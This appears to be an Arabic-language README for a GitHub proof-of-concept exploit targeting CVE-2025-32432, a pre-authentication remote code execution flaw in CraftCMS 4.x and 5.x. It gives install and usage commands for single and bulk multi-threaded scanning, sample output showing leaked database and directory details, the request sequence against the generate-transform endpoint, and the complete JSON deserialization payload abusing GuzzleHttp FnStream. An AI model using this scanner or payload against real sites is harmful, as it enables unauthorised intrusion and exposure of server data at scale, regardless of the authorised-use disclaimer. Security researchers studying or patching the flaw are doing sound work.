
يحتوي هذا المستودع على سكربت إثبات مفهوم لاستغلال الثغرة الأمنية CVE-2025-32432، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة تؤثر على إصدارات CraftCMS 4.x و5.x. توجد الثغرة في ميزة إنشاء التحويلات (asset transform generation) في CraftCMS.
يحتوي هذا المستودع على نص برمجي استغلالي لإثبات المفهوم لثغرة CVE-2025-32432، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة تؤثر على إصدارات CraftCMS 4.x و5.x. توجد الثغرة في ميزة توليد تحويل الأصول في CraftCMS.
يعمل هذا النص البرمجي الاستغلالي على أتمتة اكتشاف الثغرة والتحقق منها عن طريق:
⚠️ هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط.
استخدم هذه الأداة فقط ضد الأنظمة التي لديك إذن صريح لاختبارها. الاختبار غير المصرح به ضد الأنظمة دون إذن غير قانوني وغير أخلاقي.
# Clone the repository
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Install required dependencies
pip install -r requirements.txt
لمسح هدف واحد:
python3 craftcms_rce.py -u example.com
لمسح أهداف متعددة من ملف (عنوان URL واحد لكل سطر):
python3 craftcms_rce.py -f urls.txt -t 10
حيث -t يحدد عدد الخيوط المستخدمة (الافتراضي هو 5).
-u, --url عنوان URL واحد للاختبار
-f, --file ملف يحتوي على عناوين URL للاختبار (واحد لكل سطر)
-t, --threads عدد الخيوط (الافتراضي: 5)
-h, --help عرض رسالة المساعدة والخروج
سيقوم النص البرمجي بإخراج النتائج إلى وحدة التحكم وحفظ الأهداف الضعيفة في ملف vulnerable.txt بتنسيق CSV بالأعمدة التالية:
مثال على مخرجات وحدة التحكم:
[*] Testing single target: https://example.com
[*] Starting scan with 5 threads
[+] VULNERABLE: https://example.com
CRAFT_DB_DATABASE: example_db
HOME Directory: /home/example
=== SCAN SUMMARY ===
Total URLs scanned: 1
Vulnerable sites: 1
Detailed results saved to vulnerable.txt
تستغل هذه الثغرة مشكلة إلغاء تسلسل (deserialization) في CraftCMS. يقوم الاستغلال بما يلي:
/index.php?p=admin/dashboard لاسترداد رمز CSRF/index.php?p=admin/actions/assets/generate-transform مع حمولة JSON مصممة خصيصًاGuzzleHttp\Psr7\FnStreamphpinfo() واستخراج معلومات نظام محددةيستغل الاستغلال إلغاء تسلسل غير آمن في عملية توليد تحويل الأصول. يسمح مسار الكود الضعيف للمهاجم بحقن كائن PHP مخصص يتم إلغاء تسلسله مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية.
المكونات الرئيسية للحمولة:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
المساهمات والمشكلات وطلبات الميزات مرحب بها! لا تتردد في زيارة صفحة المشكلات.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.